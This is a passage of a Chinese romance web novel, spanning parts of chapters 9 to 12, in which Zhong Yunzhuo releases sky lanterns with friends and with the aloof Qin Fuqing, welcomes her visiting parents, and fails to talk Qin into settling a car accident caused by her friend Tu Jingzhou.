她不仅没抢到谈勉的手机,还错过了拍照的最佳时期,气得这一路都在骂。 “他一点儿也没安慰你呀?” 钟缊酌挺奇怪,虽说谈勉不着调,但不应该如此绝情。 宋黎若咬牙切齿道:“他说今晚如果放孔明灯打赌我赢了,就把照片删掉,明天再陪我起早去拍日出,但是输了,就要自认倒霉。缊酌,我到时候若是想杀人,你别拦着我。” 钟缊酌摸了摸脖子,脑袋里想象着这俩人如果撕打起来,那场面会是什么样子? 手机里蹦出了提示音,钟缊酌打开看了眼,是有人给她的朋友圈点赞了。 她刚刚把那张完美的日出照po了出去,没想到有人手速这么快。 显示一共三个人,舍友楚书雅,白琪,还有涂敬舟。 下面附着涂敬舟的留言:【真漂亮,玩的愉快啊。】 钟缊酌想起来,出发的前一天,她还想着要不要叫上涂敬舟一起,可后知后觉意识到这局是秦拂清组的,他不可能会来。 甚至得知秦拂清要来大院住那会儿,涂敬舟嚷嚷着说自己打算搬出去住一段时间了,她和宋黎若两人劝说了半天,他才打消了这个念头。 钟缊酌拇指反复在屏幕上蹭来蹭去,不知道打什么,最后无奈只回复了个笑脸。 “晚上放孔明灯我要穿这条裙子,正式一点,希望老天爷开眼。” 宋黎若从柜子里掏出一件黑色连衣裙,方形领口,配上俏皮的荷叶袖子,很复古的赫本风格。 她扭过头问,“缊酌,你穿哪件?” 钟缊酌翻了翻,最后选了一套蓝色阔腿长裤加黄色针织衫。 宋黎若面露诧色,“呀,怎么穿这么厚的。” “嗯,夜里降温,我怕凉。” “那行吧,随你了。” 夜幕降临,整个海平面仿佛披上了一层深蓝色幕布,静谧幽深,视线所及的天边也隐藏在了一片黑色之下。 钟缊酌的担忧没有错,即便已经穿得很厚实了,冷风吹过脖颈,她还是忍不住打了个哆嗦。 宋黎若就更惨了,手都冻得快抽筋,张桢嘲笑她说,什么叫要风度没有温度,这回可算见识到一次。 还是谈勉从车上拿了个外套过来,给她披上,“别没等打赌开始就倒下了啊,我还想看你输得心服口服呢。” 温热感瞬间笼罩下来,宋黎若双臂交错,指尖拽紧衣服边缘。 到底是拿人手短,她气势稍减了些,“指不定谁输呢,咱说好,我要是赢了这衣服也得归我。” 谈勉挺痛快地答应:“行啊,宋大小姐。” 放孔明灯的人已经排起了队,钟缊酌陪宋黎若在一旁耐心等着。 不大一会儿,她听到有人喊了声:“快看,秦总也来了啊。” 钟缊酌循声望去,看到一辆黑色的宾利车停在了沙滩外环的街边。 因为车牌号很醒目,她有印象,这辆车曾经也在学校里见过。 大概是纳闷秦拂清也会来放这种东西,一些人开始议论纷纷:“秦总难不成事业不顺了?” “别瞎说,他仕途正好呢,我听说不久就要升职了。” “不可能吧,又升职?他才不到三十,这也不怕被人传闲话.....” “我也是听说,或许是有人故意放的假消息.....” 这时候有懂的人站出来说:“都闭上嘴吧,他八成是来陪傅沅宗的。” 这一下子大家都噤了声。 傅沅宗母亲的事儿这一圈人多多少少听说一些,也立即明白了什么意思。 再议论下去,就是对长辈的不敬了。 他们知晓,可宋黎若完全蒙在鼓里。她大着胆子问:“傅沅宗母亲怎么了?” 张桢给她比了个手势,示意她小点声,然后贴着耳朵把前因后果给她讲了一遍。 这一幕让在对面等候的谈勉看得直皱眉头。 他忽然喊了一声:“宋黎若!快到你了。” 宋黎若被吓一跳,眼见前面那人还没结束,莫名其妙道:“你急什么,等人家放完啊。” 又过了两分钟,老板大概是看出这一行人气质不俗,等招待完上一个客人,立即殷勤地给宋黎若选了一盏图案最华丽的灯笼。 宋黎若却摇摇头,往里面一指,“我要那个兔子的。” “好嘞,这就拿兔子的。” 老板点灯的功夫,谈勉也凑过来看,宋黎若已经紧张得不行了,他还在开玩笑说:“人家是嫦娥奔月,怎么到你这儿变成兔子奔月了?” 宋黎若撇嘴,“兔子怎么啦,兔子也有梦想啊。” 一盏带着雪白小兔的孔明灯被点亮,老板正要递给宋黎若,不料被谈勉抢先接了过去。 “我帮你看看这蜡烛摆得正不正。” 宋黎若以为他要捣乱,急得直跺脚,“你小心点拿,别给我弄坏了!” 孔明灯能否被成功放飞可谓七分技术三分运气,宋黎若一直觉得自己运气不好,这次她在放飞前,默默念了好几个神仙的名字。 终于,在她虔诚祈祷完之后,猛地一松手,同时闭上了眼睛。 “若若,快抬头看!”钟缊酌兴奋地拉住了她的胳膊,“你成功了!” 浩瀚云海之下,那盏孔明灯犹如一团红色的烈焰,飘飘荡荡地驶向天空。 “我赢啦!”宋黎若一把抱住钟缊酌,蹦蹦跳跳地大喊,然后两手叉起腰,特傲气地伸手跟谈勉要手机。 不远处,正坐在宾利车里休息的两人,从头到尾目睹了这一幕。 秦拂清手肘撑在车窗边缘,挺无趣似地评价,“这谈勉哄姑娘的手段,还真是拙劣。” 傅沅宗:“怎么讲?” 他视线飘向远方,淡定地解释起来:“刚刚拿那一下子,是确认灯内温度是否均匀,看样子提前做了不少功课。费这么半天劲就为让人家打赌赢一场,你说蠢不蠢?” 傅沅宗笑了笑,不置可否:“起码宋小姐挺开心的,不是吗?情场不比职场,换了你,手段也不见得多高明。” 见这会儿排队的人已经很少,傅沅宗说:“差不多了,我们过去吧。” 两人沿着沙滩的边缘往里走,到了放灯的位置,宋黎若似乎发现谈勉手机里藏了什么秘密,在跟他笑闹,只剩下钟缊酌一人悠然望着天空。 看到两人过来,她礼貌性地打了声招呼:“秦总,傅总。” 秦拂清说:“叫什么傅总,他又不是你老板。” 其实钟缊酌只是习惯一起称呼,哪里想到那么多。 被他这么一说,倒有些不自在了。 傅沅宗无语地翻了个白眼,“一个称呼而已,你还争上了,以后让缊酌只喊你好吧。” 本是一番挺普通吐槽的话,不知为何,从傅沅宗嘴里说出来总觉着味道不对,拐着弯一路直奔高速公路去了。 钟缊酌红了红脸,吱唔半天也不知道到底该用哪个称呼。 “不会说话就闭上嘴,放你的灯去。”秦拂清一点儿也没打算给好友留面子,瞪着眼就把他往那边赶。 末了还铁面无情地提醒旁边姑娘一句,“以后见着他就直接喊名字。” 听出来这俩人在拌嘴,钟缊酌没太敢应声,只很小声地说了句“行”。 夜深之际,海边的温度也越来越低,钟缊酌双手插半天口袋也没觉得暖和,又拿出来搓了搓。 秦拂清低眉看了眼,突然问:“大晚上的跑来冻这么久,就为了陪朋友?自己怎么不放一个。” 钟缊酌心说,你不也是陪朋友来的么? 但转念一想,人家在车里待半天,一点儿没冻着,跟自己还是不一样的。 “嗯,我不太信这个。” 一说完钟缊酌就开始后悔了,自己这什么脑子,傅沅宗还在旁观放灯呢,她说这话岂不是打他的脸? 她又开始找补,“我的意思是,那么多人许愿,老天爷肯定很忙,我就不掺合了。” 这边距离路灯有点远,天黑黑的,也看不太清秦拂清脸上的表情,但她听到他好像笑了下。 “老天爷也没你想象得那么劳碌,既然来了,不如顺便放一个。” 钟缊酌赶紧顺着台阶下,“嗯,您说的有道理。” 她想起自己没经验,就怕会丢人,补了句,“但我第一次放,估计飞不起来。” 钟缊酌跑过去选灯,这时候傅沅宗刚结束,他拍了拍秦拂清的肩膀,示意可以往回走。 结果他却说:“你先回车上等我。” 傅沅宗:“你做什么?” 秦拂清点点下巴,“做点儿助人为乐的事。” 他没明说,傅沅宗也大致明白了什么意思。 好不容易逮着个空闲,让他来陪自己,结果他倒好,转头陪人小姑娘去了。 傅沅宗无声地跟他摆了摆手,那架势像是在说,你就继续装吧。 专心看灯的钟缊酌自然没注意这俩人的互动,等她挑完,只剩下秦拂清一人站在原地。 她两手拽着灯笼底部的钢丝圈,慢腾腾往前挪了几步,动作极为小心。 “看出来你是真的第一次放了。” 秦拂清叮嘱她,“灯体保持垂直,偏了的话很容易掉下来。” 钟缊酌拿余光左右丈量着,大气也不敢出。 她问:“我现在是不是可以松手了呀?” 秦拂清说:“再等等,要等灯内受热均匀。” 秦拂清看她的样子着实滑稽,走上去伸手帮忙扶了一把。 他轻轻扯着孔明灯的另一侧,挺平常的一个动作,却让钟缊酌莫名局促起来。 她想,这样会不会让别人误会什么? 她自己倒是问心无愧,只是旁人不知情的,还以为她跟秦拂清关系多近呢。 大约过了十几秒后,秦拂清提醒一句“可以了”。 正在开小差的钟缊酌立即收回思绪,假装淡定地“嗯”一声。随后,两人同时松开了手。 这盏载着她对未来期盼的孔明灯,就这样燃烧着红色的焰火,摇摇晃晃地飞向了夜空。 这一幕对钟缊酌来说是新鲜的,也是神奇的,自己亲手放和看着别人放,那种感觉果真不一样。 然而沉浸在喜悦中的钟缊酌并不知道,她的担忧还是成真了。 这几分钟的功夫,周围游玩的人群里已经有人开始窃窃私语。 “缊酌和秦总什么时候这么熟了?” “他俩竟然认识吗?我甚至都不知道。” “印象中他们只在聚会那次见过,该不会是......”那人使了个眼色,大家马上会意。 另一人赶紧嘘了声,“可别给人乱传,被秦老爷子知道要地震的。” “哥,你看,姓钟的又勾搭上秦拂清了。” 杜薇气冲冲盯着背对着两人交谈的身影,咬牙切齿地说,“这外来女真有手段,专捡家世好的下手!” 杜洺哂笑一声,“哪儿有那么容易,秦拂清不是傻子,等着瞧吧。” 此刻秦拂清这边,正专心在给旁边的姑娘解释他为什么会懂得这么多知识。 他说:“我小时候啊,姥姥经常教我做一些手工,剪纸,孔明灯......” 说到一半,他敏锐地捕捉到了一些异样的目光,蓦地停了下来。 钟缊酌毫不知情,眨巴着眼睛还在等他继续往下讲。 黑夜中的这份安静显得空气愈发湿润粘稠。 秦拂清默了几秒,看着女孩清泉一样明亮的眸子,忽而话锋一转,问她道:“你和杜家,是有什么恩怨吗?”【..top】 10、第十章 钟缊酌被这话问得一愣。 刚刚明明在讲自己小时候的事,怎么突然无缘无故地蹦出这么一句? 莫不是想起昨天吃饭时他们造谣她的话? 钟缊酌手指卷着衣摆,琢磨着,她和杜家确实没什么深仇大恨,只是那两兄妹总阴阳怪气她,不知算不算恩怨。 思来想去,她还是简单回道:“没有,就是脾气不怎么和。” 秦拂清微微点头,也没再接着刚才的话题聊。 他环视一圈,双手抄进口袋里,不疾不徐地和她告别:“好了,我也该走了,你们在外面玩儿时多注意安全。” 钟缊酌“嗯”一声,“您放心。” 临走前,秦拂清又不经意回望了一眼对面的方向。 眼神犀利锋锐,那目光穿过暮色,竟把杜薇吓得浑身一哆嗦。 她不知道他为什么这样看自己。根据杜薇的猜测,或许因为上次的事,是在警告她别乱造他的谣。 杜薇愤愤地推了一下杜洺,“哥,回去了。” “你不去放灯了?” “有什么可放的,无聊死了。” 待秦拂清的身影消失在沙滩后,不远处早已望眼欲穿的宋黎若一个箭步冲了过来。 她呼哧带喘地,拉着钟缊酌的胳膊摇晃:“快说说,你和秦拂清什么情况?” 钟缊酌叹口气,无奈又觉得好笑,抽出胳膊搂住她的肩膀,“你还有心思八卦我,我倒想问问你在谈勉手机里看到了什么?” “啧啧,别想转移话题。”宋黎若一副看透所有,一切尽在掌握之中的模样,“你今天逃不过我的审问,还是早早交代为好。” 钟缊酌噗嗤一下笑了出来:“我能跟他有什么情况啊,人家就是看我没经验,顺手帮个忙而已。” 宋黎若皱眉,“真的?秦拂清有那么闲?” 钟缊酌郑重道:“真的,不骗你,骗你我永远发不了财。” “停停,这也太毒了。”宋黎若颇为遗憾地摊手,“我信了好吧,以后起誓别对自己这么狠行不行。” 两人聊天的功夫,没注意旁边,不知何时张桢也跟着凑了过来。 宋黎若吓了一跳,“你干嘛?” 张桢缩着脖子看了看周围,像是要跟她们说些悄悄话,模样看上去很是滑稽。 他咳嗽了一下,用很小的声音说:“我在那边听到有人讲你跟秦拂清的事......” 他这一句话,钟缊酌便立即明白什么意思。 连宋黎若都曾怀疑过,别人不知道他俩还有上下级这层关系的,更要乱猜了。 钟缊酌打断他道:“没事,随便他们说吧,反正我俩清清白白,过两天他们就忘了。” 张桢欲言又止地,纠结一会儿后,又告诉她:“关键是那个杜薇,说的很难听......” “杜薇也来了?”宋黎若左右张望,没看到想找的人,“她什么时候来的?” “你光顾着在那儿跟谈勉打情骂俏,当然注意不到。” 宋黎若气得踢了一脚张桢,“谁打情骂俏,你是不是活腻了。” 其实不用张桢再往下讲,钟缊酌大致都能猜出来杜薇会怎么说。 她不知道今晚她也会来,心里泛起一丝焦躁。 但这次对象是秦拂清,钟缊酌心想,就算杜薇再怎么胡闹,应该也不敢造他的谣吧? 就在这次度假结束的前一天,钟缊酌收到了母亲发来的消息,说他们要回京待上一周。 钟缊酌立即忘记了那些乱七八糟的事,恨不得长出翅膀,马上飞回家里。 父母一年当中有一大半的时间都在深城,钟缊酌表面没说过什么,但只有她自己知道,她是有多么地想念他们。 当天,陶美珍早早地备好了一桌子的菜,而钟缊酌已经等不及,跑到了大院门口来接人。 看见叶锦从出租车上下来时,钟缊酌鼻子都有些发酸,她跑过去喊了声:“妈。” 叶锦是一个长相端庄而温柔的女人,早些年家里富裕的时候,她的仪态气质不输那些阔太太,而如今四处奔波,早已没了那股心气,连笑起来眼角的细纹也愈发明显。 她摸着闺女的头说:“这么热的天,怎么不在家里等着,还非要跑出来。” “我不热,帮你们拿点儿东西。” 钟缊酌接过钟启明手里的行李箱说:“爸,給我拿一个吧。” 钟启明一挥手:“爸还没老呢,用不着。” “那我帮您背这个包。”钟缊酌不由分说拽了过去,钟启明没办法,只好依了她。 一进家门,菜里飘出的香味儿直沁鼻尖,钟缊酌使劲儿闻了闻:“真香。” “爸,妈,我跟你们说,陶姨的手艺越来越好了,不信你们尝尝。” “诶呦,还是我们缊酌会夸人。”陶美珍弯起了眼。 许是家里太久没这么多人了,这顿饭吃得热闹腾腾地,钟缊酌一会儿站起给人倒水一会儿给那个夹菜的,没一刻闲着的时候。 惹得钟启明拿筷子点她:“好好吃你自己的,女孩子家站没站相坐没坐相,像什么样子。” 钟缊酌做了个鬼脸,这才不情愿地坐回了椅子上。 叶锦对闺女没那么多要求,见状忍不住吐槽起来:“别听你爸的,他一个老古董,女孩子怎么不能好动了,咱想做什么就做什么。” 钟缊酌咧开嘴,在背后偷偷给老妈点了个赞。 晚上,钟启明进了书房,钟缊酌则陪着叶锦在客厅里看电视。 说是看电视,其实没什么节目可看的,也就是放着声音好让屋子里没那么冷清。 叶锦一边听新闻一边给钟缊酌编起了麻花辫。 她的手很巧,钟缊酌小时候,每天上学前都会给她编各种好看的辫子。麻花辫,蝴蝶辫,丸子头,双马尾,古风的现代的,各式各样,同学见了都可羡慕了。 “你看,这么久没编手都生了。” 叶锦轻轻地抚摸着她的头发,将那一缕掉出来的发丝重新扎进里面。 两人唠着家常,叶锦想起她在这院儿里的两个小伙伴,问了句:“敬舟回国了吗?” “嗯,已经回了。” “你和若若你们三个,要记得经常聚聚。” 钟缊酌就笑:“我又不是小孩子了,您操心这个干什么。” 叶锦却叹口气:“你在这边朋友不多,爸妈离得远又照顾不到,这不是担心你过得不好。” “我过得挺好的。” 钟缊酌说的是发自内心的想法。 她现在要求不多,只要能顺利完成学业,等家里的经济状况慢慢好起来,父母回京来住,别的她不强求。 所以钟缊酌也一直没告诉过父母,杜家兄妹针对她这件事。 或许是听到她们的谈话,钟启明从书房走出来插了一嘴:“敬舟这孩子挺好的,你有没有考虑过跟他发展一下?” 闺女从小就知道学习,到现在也没交个男朋友。她自己不上心,当爹的倒是替她操心上了。 钟缊酌几乎秒懂,急着喊:“您胡说什么呢!我跟他就是很好的朋友,不许您玷污我们的友谊!” 看她的样子这么坚决,多半是没戏,钟启明无奈摆手,“好好,不说了。” 钟缊酌心情还没平复下来,又听母亲提议:“不然明天请他俩来家里做客吧,很久没见这俩孩子,怪想念的。” 知道这个时候说什么也没用,钟缊酌没再阻拦,想想反正也就是一顿饭的事儿。 “那行吧,我去问问。” 次日上午,钟缊酌便给两人发了信息过去,问他们晚上有没有空来家里吃饭。 涂敬舟和宋黎若都答应得挺痛快,叶锦便叫陶姨去买一些菜回来。 到了下午四点,一家人正准备着饭菜,涂敬舟突然又打电话过来,说他临时有事,今天恐怕不能来赴约了。 他在电话里的语气很急,钟缊酌有些担心,问发生了什么。 涂敬舟应该是要出去,她听到他关门的声音,“我爷爷冠心病犯了,正送往医院急救,我得赶紧过去看看。” 钟缊酌立马倒吸一口凉气,“那你赶紧去吧,我跟若若说一声,咱们改天再聚。” 电话挂断,涂敬舟那边火急火燎地去地库开车,出来时还因为轮子打歪蹭破了墙皮。 但他没空管这些了,爷爷从小就是最疼他的,涂敬舟心里像是压了一堵墙,那墙随时有倒塌的风险,他不敢耽搁一秒。 或许是他太过焦虑,精神也不够集中,在路口拐弯时没注意到对面有来车,竟然直接踩着油门打轮左转。 等涂敬舟注意到危险时已经为时已晚。 他猛地踩了一脚刹车,然而无济于事,就这样被一辆直行的黑车顶了出去。 “咚”地一声后,车子擦着地面行驶了十几米才停下来。 安全气囊被弹开,涂敬舟感到一阵眩晕,紧接着眼前视野全部遮住,陷入白茫茫一片。 胸口挨了气囊一下,撞得生疼,涂敬舟闭上眼睛,缓了片刻。 院里的车速不会开太快,他人倒是没什么事,只是如果按照正常程序处理这个车祸,时间肯定要耽搁很久。 待情绪平静后,涂敬舟下了车。 眼见车头已经瘪了一块,他打算先将车子放在路边,和对面协商一下私了,自己再打个车过去。 然而在看清楚对面的车牌后,涂敬舟脑子“嗡”地一下,瞬间傻掉了。 那是秦拂清的车。 涂敬舟站在原地,直愣愣地瞧着面前的车门被打开,男人一脸冷淡地走下来,他的心已经凉了半截。 什么叫屋漏偏逢连夜雨,他今天算是体会到了一次。 涂敬舟咬了咬牙,硬着头皮走过去:“秦总,不好意思没注意到你的车,您看咱能不能私了,我愿意全赔。” 拐弯应礼让直行,这场车祸毫无疑问是他全责,涂敬舟也没打算推卸。 秦拂清没搭理他。 他直接绕过他,弯腰看了看车子被撞裂地程度,神情有些许的不耐烦,随后拨了个电话。 听口吻应该是打给秘书的,男人简单交待了几句,便撂下电话,“在这儿等着,交警会来处理。” 他显然对他的诉求完全视而不见。 其实大家同住一个院,这种小摩擦一般都会私了,再不济叫来警卫帮忙协调,哪里至于去等交警。 可他就像是故意似的,非要一板一眼地让人在这里候着。 涂敬舟使劲儿压了压胸腔里的怒火,解释道:“秦总,对于今天发生的意外我很抱歉,但我爷爷生病去医院抢救,我现在真的没时间等警察过来,您看能否通融一下。” “你爷爷生病了,跟我有什么关系。”秦拂清掀起眼皮看了他一眼,声音里透着凉薄,“我为什么要给你通融?” 此刻的涂敬舟才意识到,能让这个男人发善心简直是痴人说梦。 尤其之前自己对他那样的态度,就不可能放过他。 涂敬舟懊恼地回到车上,准备给姑妈打个电话说明情况。 就在摸上中控扶手的一刹那,他突然想起来一件事。 这辆车是上周去做的保养,昨天刚刚开回来,车上的东西都还放在家里。 别的就算了,但驾驶本行驶证全都没拿下来。 他出来得太急,全然忘记了这回事,如果被警察查到那就更要完蛋。 涂敬舟捏了捏指骨,将准备拨给姑妈的电话换成了另一个人。 电话“嘟嘟”响了两声,被接起,女孩干净的嗓音从话筒传来:“喂,敬舟。” “缊酌,我现在遇到点儿麻烦,你能不能帮我个忙?” “当然可以,你说吧。” 涂敬舟短暂沉默几秒,开口道:“是这样,我在院儿里出了车祸,但行驶本和驾驶证忘拿了。我家里现在没人,我告诉你门禁密码,帮忙送过来一趟可以吗?”【..top】 11、第十一章 知道他出了车祸之后,钟缊酌也焦急得不得了。 她几乎是一路小跑着帮他去家里拿证件。 等穿过大院里的林荫主路,来到唯一的十字路口,她一眼望见了站在车旁的涂敬舟。 “敬舟!你看看是不是这个!”钟缊酌立刻走过去,将手里的两个本子递给他。 涂敬舟翻开瞄了一眼,“就是这个,没问题。” 他稍稍松了口气,“谢谢你了,差点儿完蛋。” 钟缊酌看他的样子就知道他这会儿肯定不好受。 唇色发白,眼睛里满是疲惫,像是遭受了严重的精神摧残。 她关切地问:“你要在这里等着处理完事故吗?” “对,没意外的话我全责,也是怪我自己不小心。” 想到他还要急着去医院,钟缊酌纳闷:“看起来不是很严重,你们为什么不协商私了?” 说完之后,她顺势打量了一眼对面的车辆。 那辆极其熟悉的黑色宾利就这样赫然出现在眼前。 撞裂的程度轻很多,但也歪歪斜斜地横在了马路边。 钟缊酌的呼吸瞬间停滞。 这是秦拂清的车。 所以和涂敬舟发生车祸的竟然是他? “我也说了啊,但人家就是不同意有什么办法,今儿算我倒霉。”涂敬舟恹恹地垂下头,用力踢了踢脚旁边的石子。 钟缊酌没见到秦拂清的人,料想他应该还在车上。 如果是院儿里其他熟人,那这件事再简单不过,可偏偏是涂敬舟,他就不可能轻易如他的愿。 “缊酌,你先回去吧,不用陪我,我处理完就直接去医院。”涂敬舟说。 如果今天换作别人的话,钟缊酌大概率会客套两句,然后直接打道回府。 可涂敬舟对她来说是很重要的朋友,她很想能够帮帮他。 钟缊酌视线扫向对面的车,打量几眼后,挺起腰杆对涂敬舟说:“让我试试,我来劝一劝秦拂清。” 涂敬舟睁大眼睛,“你?你能劝得动他?” 钟缊酌坦诚道:“嗯,我在他的古玩馆里做兼职,算是有些交情。试试吧,万一呢?” “可是......” 钟缊酌没给他可是的机会,拍拍他的肩膀,直接转身走了过去。 这几步的路,走得无比缓慢。 钟缊酌在脑子里设想了无数个方案,可真到了秦拂清跟前,又几乎被全部打散。 最后,她只实实在在地敲了敲车窗,等窗子落下来,对里面的男人说:“秦总,敬舟急着去医院看爷爷,您看能不能协商一下,让他先走,反正这场事故他定是负全责。” 此刻的秦拂清正靠坐在后座上,面无表情,一副清清冷冷的样子。 静静听她说完后,秦拂清微眯了眯眼,将手肘撑在窗边,“他让你来的?” 钟缊酌心里一惊,忙解释:“不是,是我自己主动想做这个和事佬......” “你做和事佬,你觉得你是跟他关系挺近,还是跟我关系挺近?” 没想到才一句话就被噎了回去。 钟缊酌神色一慌,眼眸也跟着黯淡下来。 心里不禁开始反思,她是不是有些过于高估自己的能力了。 这件事不是表面一场车祸那么简单,背后掺杂的是两人过去一直以来的矛盾,不是她一个外人能够出面化解的。 她只能抱着最后的期望,试探着劝一句:“......敬舟主要也是担心他爷爷的病情,都说百善孝为先,不然肯定不会跟您较这个劲。” 这一句之后,秦拂清没有立即回复,从口袋里摸出一根烟夹在手里,晃了晃说:“所以你觉得他着急过去能有什么用,他是医生?能救活他爷爷?” 钟缊酌张了张嘴,却不知怎么回答。 从道理上讲,他说的好像也没错,可又觉得哪哪都不对。 “只不过是内心情感在作祟,而我没兴趣迁就他这点儿私人情感。” 秦拂清将烟点燃,侧过头去吸了口,这副架势明显是在赶人。 也就是在这个时候,涂敬舟大概等得心燥,也跟着走了过来。 正好瞧见眼前僵持的场景,以为缊酌被欺负,拉住她的胳膊往后一带。 “您有脾气冲我来就好,别撒在一个姑娘家身上,说出去也不好听。” 秦拂清冷眼看他,透过袅袅升起的白雾,嗤了声:“你有什么资格给我说教?你是她什么人,用得着你在这儿护短?” 这话说得就有点为杠而杠了,涂敬舟终于意识到这人原来比想象得更混。 怕事态升级连累到缊酌,他压下面子说了句好听的:“秦总,前面的话都当我放屁,什么都不说了,我在这儿跟您等警察过来。” 涂敬舟没再看秦拂清的脸色,牵着女孩的胳膊就往回走。 钟缊酌心里也特别难受,一路耷拉着脑袋,丧丧地吐声,“对不起,没帮上你的忙。” “别想太多,回家吧,这本就不是你该操心的事儿。” 的确不是她该操心的,只是钟缊酌这一刻突然意识到,或许她完全误解了秦拂清。这段时间的友好相处,让她生出一种错觉,觉得他是个挺好说话的人。 而如今的现实毫不留情给了她当头一棒,秦拂清刚刚的口吻,可以说一点情面没给她留了。 这顿饭推迟到了三天后的晚上。 饭桌上依旧热闹,叶锦直夸宋黎若又变得漂亮,也称赞涂敬舟留学回来变得更稳重,说半天就是没理自己闺女。 钟缊酌撅起嘴,假装不满:“妈!您是不是忘记还有一位呢。” 叶锦笑说:“我天天夸你还嫌不够啊。” “不够,也得让别人听听。” “行行,我闺女最善解人意了,好了吧。” 聊到后面,钟缊酌想起涂敬舟爷爷那天突发的病情,便忍不住问了一嘴。 “没什么事,当天就已经脱离危险,以前也犯过,只是没想到这次这么急。” 钟缊酌听后松口气,“那真是太好了。” 涂敬舟临走前向她叮嘱:“你在秦拂清那儿做兼职,记得少招惹他,这人不是什么善茬儿。” “我知道的,你就放心吧。” 钟缊酌也在心里暗暗告诫自己,以后和秦总共事一定要小心,千万别在他面前捅娄子。 父母出发飞去深城的第二天,恰好是周六,钟缊酌照例去了古玩馆。 一进门,钟缊酌看到冯伯正蹲在地上,手里还拿着个火腿肠,那样子把她吓一跳。 “冯伯,您这是在做什么呀?” 冯盛冲她比了个“嘘”的手势,抿嘴神秘一笑,然后继续盯着一旁的沙发。 几秒后,只见沙发下面忽然蹿出一只毛茸茸的小动物,全身布满银色的条纹,从背部延伸至四肢,眼睛又大又亮,非常灵活地一跃跳到了椅子上。 钟缊酌惊呼一声:“好漂亮的猫咪啊!” 她转头看向冯伯,“这是您带来的吗?” 冯盛拿火腿逗着那只还有些认生的小家伙,“嗯,刚买回来没多久,想着这里平时太冷清,让它给咱做个伴。” 猫咪这时终于忍不住零食的诱惑,从椅子上又跳了下来,扒拉着火腿就开始啃。 钟缊酌被它的动作萌化了,小心地伸出手,“我能摸摸它吗?” “当然可以,这是虎斑猫,很温顺的。” 钟缊酌一边摸着它的头一边问:“那它叫什么名字呀?” 冯盛缕了缕花白的胡子,有些苦恼地说:“我不太会起名,暂时就叫它小虎了。” 一听到这两个词,猫咪立即抬起头跟着“喵喵”地叫了两声。 “看来它挺喜欢这个名字的,也不错。” 没一会儿,钟缊酌突然想起什么似地,皱了皱眉:“但是这里摆了这么多古董,秦总能同意养它吗?” 冯盛一挥手:“这种事我肯定得先问过他,放心吧,他已经同意了。不过,尽量还是少让小虎来这间古董室,多带去院子里跑跑。” “嗯。” 有了新伙伴的加入,这一天的时间过得很快。 钟缊酌快速入门了一些养猫的知识,带着它去认识每个房间。小虎真是既聪明又懂事,就像书里普及的那样,非常有分寸感,不会随便去跳桌子或柜子,两人对此倍感欣慰。 临近下午三点,冯盛正在院子里喂猫,忽听到有脚步声传来。 他还纳闷今天明明没有客人预约,一抬眼,发现来人竟然是秦拂清。 “秦先生,您怎么来了。”冯盛赶紧起身,抖了抖手中的猫粮。 “来看看你的猫。” 冯盛呵呵笑了两声,把猫抱起来给秦拂清介绍。 心里想的却是,秦先生大抵不会为了看猫而专门来一趟,不知他到底是何意。 撸了一会儿猫头,冯盛提议给他去泡壶茶。 秦拂清却没应,目光透过玻璃窗落向屋内,缓声道:“让那个小丫头来泡。” 说完之后,便迈着长腿直奔会客室。 这个口吻让冯盛感到很不安,根据他这么久以来对秦拂清的了解,那丫头大概率是有什么地方得罪了他。 冯盛来到展览室,冲还在看书的钟缊酌喊一声:“缊酌,快去泡壶茶,秦先生来了。” “他来了?”钟缊酌显然也很诧异,不自觉瞪大了眼。 但她迅速调整好了情绪,“行,我这就去。” 在迈出门槛的一刹那,冯盛在她身后补充一句:“秦先生看上去心情不大好,你说话谨慎一些。” 钟缊酌脚步顿了顿,“我知道了,谢谢您的提醒。” 会客室钟缊酌并不常来,冯伯比她泡茶的手艺好,也就是偶尔需要她帮忙时才会来一趟。 钟缊酌站在门前,轻轻敲了敲门:“秦总,您的茶好了。” 听到一声“进”后,她端着茶壶和茶杯走到秦拂清身旁。 钟缊酌微微欠身,伸出右手握住壶柄,手腕轻转,左手则托于壶底。 随着茶水准确落入杯中,最后向上一收,整个过程干脆利落,一气呵成。 这是她练了许久的动作。 钟缊酌的手指细长白净,腕骨清晰,做起这些动作确实好看,起码能唬住外人。 秦拂清看着她行云流水一套整完,端起来抿了口。 沉默几秒后,云淡风轻地评价:“泡茶的手艺未长进,花架子倒是学了不少。” 钟缊酌能听出来这般讽刺意味,不知是真这么想,还是因为上次帮涂敬舟的事惹恼了他。 其实钟缊酌心里是有点不服气的。 之前叫她学泡茶,她也愿意,是因为觉得多会一门技能不是坏事,可扪心自问,她来这里也不是为了学这种东西。 冯伯让她说话谨慎一些,钟缊酌想了想说:“泡茶的手艺我会继续向冯伯讨教,如果没别的事,我先出去了。” “等一下。”秦拂清的声音抬高了几分,将茶杯往桌上一撂,“你毕业以后去工作,也打算用这种态度跟老板讲话?” 钟缊酌这才后知后觉自己语气不太好,回过身来小声嘀咕:“我不是故意的。” 她嘴里说着好话,可脸上的表情分明还透着倔强。 秦拂清靠在红木圈椅上,手指敲着椅子把手,幽潭一样的眼睛望过来:“成年人要为自己犯的错误负责,把问题抛给一个和你既没有感情又没有共同利益的人,别人为什么要理解你,为什么要共情你。求人就能解决问题?” 钟缊酌反应了好一会儿,才听懂他这话是在点拨她帮涂敬舟的那件事。 他的意思是,她和他既没有感情又没有共同利益,所以她来帮涂敬舟讲话,帮忙来求人,注定是要失败的。 她深吸一口气,“我明白了秦总,我以后不会再做这么蠢的事了。” 钟缊酌说完这句话,以为秦拂清会称赞她开了窍。再不济,也会觉得她态度上有所进步。 结果他却像没听到似地,话头一转,问了一个莫名其妙的问题。 他说:“涂敬舟是喜欢你吗?”【..top】 12、第十二章 涂敬舟喜欢她? 钟缊酌不明白他为什么这么问。 想起父亲也曾冒出撮合两人的念头,所以她俩哪里看起来像情侣了吗? 难道就因为她帮他说了话,他护着她来着,就觉得两人关系不一般? 可是好朋友不就应该这样,男女之间不能存在友谊吗? 钟缊酌摇摇头,这些老古董。 心里这样想,面上可不能表现出来。 钟缊酌诚恳表示:“秦总,您误会了,我们两个就是很好的朋友,不存在男女之情。” 瞧她一本正经解释的样子,心思都放在回答问题上面了,是一点儿没怀疑他问这句话的用意。 秦拂清心中好似憋了一股无名火,却又无处消散,最后只挥了挥手,“知道了,你去忙吧。” 钟缊酌微微俯身告辞,打开门后,却看到冯伯一动不动站在门口,把她吓一跳。 冯盛“哎”一声,“聊完了?” “嗯,聊完了。” “好好,我——”他顿了顿,“我也来找秦先生聊聊。” 钟缊酌挺纳闷,怎么看着冯伯的样子有些心虚似的。 但她管不了那么多,客气两句就回展览室坐班去了。 